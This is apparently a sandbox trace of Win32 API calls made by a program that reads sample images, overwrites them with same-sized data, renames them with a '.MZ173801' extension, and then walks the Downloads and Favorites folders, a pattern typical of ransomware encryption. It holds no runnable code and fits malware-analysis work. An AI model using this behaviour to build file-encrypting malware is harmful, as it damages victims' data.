lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.056] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.056] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.056] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x97958 [0144.056] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.056] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0144.056] ReadFile (in: hFile=0x224, lpBuffer=0x7ef00010, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesRead=0x18f6c4*=0x97958, lpOverlapped=0x0) returned 1 [0144.069] CloseHandle (hObject=0x224) returned 1 [0144.069] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0144.072] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edf0000 [0144.079] VirtualQuery (in: lpAddress=0x7ee60000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee60000, AllocationBase=0x7ee60000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.079] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed60000 [0144.088] VirtualQuery (in: lpAddress=0x7edf0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7edf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0144.088] VirtualAlloc (lpAddress=0x7edf0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edf0000 [0144.088] VirtualAlloc (lpAddress=0x7edf0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edf0000 [0144.099] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.106] WriteFile (in: hFile=0x224, lpBuffer=0x7ee60010*, nNumberOfBytesToWrite=0x97958, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee60010*, lpNumberOfBytesWritten=0x18f6d0*=0x97958, lpOverlapped=0x0) returned 1 [0144.133] CloseHandle (hObject=0x224) returned 1 [0144.133] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.mz173801")) returned 1 [0144.134] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.137] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.141] VirtualQuery (in: lpAddress=0x7ed60000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed60000, AllocationBase=0x7ed60000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.141] VirtualFree (lpAddress=0x7ed60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.144] VirtualQuery (in: lpAddress=0x7edf0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7edf0000, AllocationBase=0x7edf0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.144] VirtualFree (lpAddress=0x7edf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] GetCurrentThreadId () returned 0x9fc [0144.145] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0144.145] GetLastError () returned 0x12 [0144.145] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.145] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.145] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.145] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.145] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.145] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.145] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.145] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa641d6e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Chrysanthemum.jpg.MZ173801", cAlternateFileName="CHRYSA~1.MZ1")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6574340, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Desert.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa667ece0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Hydrangeas.jpg.MZ173801", cAlternateFileName="HYDRAN~1.MZ1")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6789680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Jellyfish.jpg.MZ173801", cAlternateFileName="JELLYF~1.MZ1")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa68ba180, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Koala.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6978860, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Lighthouse.jpg.MZ173801", cAlternateFileName="LIGHTH~1.MZ1")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6aa9360, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Penguins.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.146] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.146] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 0 [0144.146] GetLastError () returned 0x12 [0144.146] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0144.146] GetLastError () returned 0x12 [0144.146] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.147] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0144.147] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 0x11 [0144.147] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0144.147] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.147] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.147] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.147] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.147] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.147] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.147] GetLastError () returned 0x12 [0144.148] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.148] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.148] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.148] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.148] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.148] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.148] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.148] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.148] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.148] GetLastError () returned 0x12 [0144.148] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0144.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites")) returned 0x11 [0144.150] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0144.150] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.150] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.150] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: 